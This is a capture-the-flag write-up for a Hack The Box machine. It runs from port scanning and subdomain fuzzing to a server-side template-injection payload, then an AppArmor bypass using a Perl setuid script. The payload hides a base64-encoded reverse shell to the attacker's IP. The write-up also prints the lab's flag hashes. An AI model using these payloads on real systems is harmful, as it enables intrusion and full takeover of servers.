Information Gathering
IP Address | Opening Ports |
---|---|
10.10.11.122 | TCP:22,80,443 |
$ ip='10.10.11.122'; itf='tun0'; if nmap -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c146dbb7459c3782e48f511d85b4721 (RSA)
| 256 a2f42c427465a37c26dd497223827271 (ECDSA)
|_ 256 e18d44e7216d7c132fea3b8358aa02b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Express Nodejs SSTI Injection
# echo "10.10.11.122 nunchucks.htb" >> /etc/hosts
$ ffuf -u https://nunchucks.htb/ -H 'Host: FUZZ.nunchucks.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
# echo "10.10.11.122 store.nunchucks.htb" >> /etc/hosts
view-source:https://store.nunchucks.htb/assets/js/main.js
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=XKgwzoMJoUdBmm6JQI1z-tdr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-None-Match: W/"2d-pR4kyQHkx2a7XX4cK6yb+54WzcA"
Te: trailers
Content-Type: application/json
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
{"email": "test@example.com"}
{"email": "{``{7*8}}"}
{
"email": "{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjI4LzQ0NSAwPiYxCg==|base64 -d|bash')\")()}}"
}
User.txt
7cd2ec2b576f3a1054c8d5ece6da747a
Privilege Escalation:AppArmor Bypass && Perl
$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "ls /"'
AppArmor 安全模块的配置文件目录,AppArmor 是 Linux 系统中的一个强制访问控制(MAC)系统,用于限制进程的行为并提高系统的安全性。它通过使用配置文件来指定每个应用程序可以访问哪些资源(如文件、网络等),从而增强系统的安全性。
$ cat /etc/apparmor.d/usr.bin.perl
AppArmor 配置文件限制了 Perl 程序的权限,允许执行某些命令并访问指定目录,但禁止访问敏感文件和目录。
禁止读取 /etc/nsswitch.conf 文件。
禁止访问 /root/ 目录及其内容。
禁止访问 /etc/shadow 文件。
限制了某些命令(如 id、ls、cat、whoami 和 backup.pl)的权限,仅允许执行并读取。
PS:AppArmor与Perl之间存在BUG
问题:当脚本文件中包含 shebang 行(如 #!/usr/bin/perl)时,即使 AppArmor 配置文件已经禁止了 perl 的执行,脚本仍然能够执行。这是因为脚本文件在执行时会先由操作系统解析并使用指定的解释器(如 perl),而不是直接执行脚本文件本身。这样,AppArmor 的配置文件并没有被应用到解释器的执行上。
原因:问题的根本原因是,AppArmor 无法区分脚本本身和由脚本调用的解释器。执行脚本时,操作系统会先通过 shebang 找到并启动解释器(如 perl),然后解释器再执行脚本。由于 AppArmor 配置文件是基于执行程序(如 perl)来设定的,而不是针对脚本文件本身,因此即使脚本本身受到 AppArmor 限制,启动脚本的解释器仍然能够绕过这个限制。
https://bugs.launchpad.net/apparmor/+bug/1911431
$ cd /tmp;set +H;echo -e "#!/usr/bin/perl\nuse POSIX qw(setuid);\nPOSIX::setuid(0);\nexec \"/bin/bash\";" > root.pl ;chmod +x root.pl;./root.pl
Root.txt
9cfe315a32d3bc1883e22ac85030c3d0